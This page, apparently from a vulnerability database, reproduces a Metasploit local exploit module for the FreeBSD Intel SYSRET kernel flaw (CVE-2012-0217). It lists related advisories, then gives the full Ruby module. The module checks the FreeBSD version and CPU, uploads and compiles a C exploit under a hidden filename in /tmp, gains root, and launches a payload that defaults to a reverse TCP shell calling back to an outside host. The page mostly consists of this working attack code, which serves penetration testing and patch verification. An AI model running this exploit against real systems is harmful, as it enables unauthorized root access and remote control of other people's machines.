FreeBSD Intel SYSRET Privilege Escalation
🗓️ 12 Jun 2012 00:00:00Reported by Rafal Wojtczuk, John Baldwin, iZsh, bcoles <[email protected]>Type
metasploit🔗 www.rapid7.com👁 80 Views
| Reporter | Title | Published | Views | Family All 178 |
|---|---|---|---|---|
| FreeBSD - Intel SYSRET Privilege Escalation Exploit | 7 Mar 201900:00 | – | zdt | |
| FreeBSD -- Privilege escalation when returning from kernel | 12 Jun 201200:00 | – | freebsd | |
| CentOS 5 : kernel (CESA-2012:0721) | 14 Jun 201200:00 | – | nessus | |
| Debian DSA-2501-1 : xen - several vulnerabilities | 29 Jun 201200:00 | – | nessus | |
| Debian DSA-2508-1 : kfreebsd-8 - privilege escalation | 23 Jul 201200:00 | – | nessus | |
| Fedora 17 : xen-4.1.2-20.fc17 (2012-9386) | 26 Jun 201200:00 | – | nessus | |
| Fedora 16 : xen-4.1.2-8.fc16 (2012-9399) | 26 Jun 201200:00 | – | nessus | |
| Fedora 15 : xen-4.1.2-8.fc15 (2012-9430) | 26 Jun 201200:00 | – | nessus | |
| FreeBSD : FreeBSD -- Privilege escalation when returning from kernel (aed44c4e-c067-11e1-b5e0-000c299b62e1) | 28 Jun 201200:00 | – | nessus | |
| GLSA-201309-24 : Xen: Multiple vulnerabilities | 28 Sep 201300:00 | – | nessus |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'FreeBSD Intel SYSRET Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in the FreeBSD kernel,
when running on 64-bit Intel processors.
By design, 64-bit processors following the X86-64 specification will
trigger a general protection fault (GPF) when executing a SYSRET
instruction with a non-canonical address in the RCX register.
However, Intel processors check for a non-canonical address prior to
dropping privileges, causing a GPF in privileged mode. As a result,
the current userland RSP stack pointer is restored and executed,
resulting in privileged code execution.
This module has been tested successfully on:
FreeBSD 8.3-RELEASE (amd64); and
FreeBSD 9.0-RELEASE (amd64).
},
'License' => MSF_LICENSE,
'Author' => [
'Rafal Wojtczuk', # Discovery
'John Baldwin', # Discovery
'iZsh', # Exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2012-06-12',
'Platform' => ['bsd'], # FreeBSD
'Arch' => [ARCH_X64],
'SessionTypes' => ['shell'],
'References' => [
['BID', '53856'],
['CVE', '2012-0217'],
['EDB', '28718'],
['PACKETSTORM', '113584'],
['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'],
['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'],
['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'],
['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'],
['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'],
['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation']
],
'Targets' => [
['Automatic', {}]
],
'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK, ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_advanced_options([
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
])
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status("Writing '#{path}' (#{data.size} bytes) ...")
rm_f(path)
write_file(path, data)
register_file_for_cleanup(path)
end
def upload_and_compile(path, data, _cc_args = '')
upload("#{path}.c", data)
cc_cmd = "cc -o #{path} #{path}.c"
if session.type.eql?('shell')
cc_cmd = "PATH=$PATH:/usr/bin/ #{cc_cmd}"
end
output = cmd_exec(cc_cmd)
unless output.blank?
print_error(output)
fail_with(Failure::Unknown, "#{path}.c failed to compile")
end
register_file_for_cleanup(path)
chmod(path)
end
def strip_comments(c_code)
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
end
def check
kernel_release = cmd_exec('uname -r').to_s
unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/
return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")
end
vprint_good("FreeBSD version #{kernel_release} appears vulnerable")
kernel_arch = cmd_exec('uname -m').to_s
unless kernel_arch.include?('64')
return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
end
vprint_good("System architecture #{kernel_arch} is supported")
hw_model = cmd_exec('/sbin/sysctl hw.model').to_s
unless hw_model.downcase.include?('intel')
return CheckCode::Safe("#{hw_model} is not vulnerable")
end
vprint_good("#{hw_model} is vulnerable")
CheckCode::Appears("#{hw_model} appears vulnerable to SYSRET privilege escalation")
end
def exploit
if !datastore['ForceExploit'] && is_root?
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
# Upload and compile exploit executable
executable_name = ".#{rand_text_alphanumeric(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
upload_and_compile(executable_path, strip_comments(exploit_data('cve-2012-0217', 'sysret.c')), '-Wall')
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx(payload_path, generate_payload_exe)
# Launch exploit
print_status('Launching exploit...')
output = cmd_exec(executable_path)
output.each_line { |line| vprint_status line.chomp }
unless is_root?
fail_with(Failure::Unknown, 'Exploitation failed')
end
print_good('Success! Executing payload...')
cmd_exec("#{payload_path} & echo ")
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Jun 2012 00:00Current
8.1High risk
Vulners AI Score8.1
CVSS 27.2
EPSS0.37465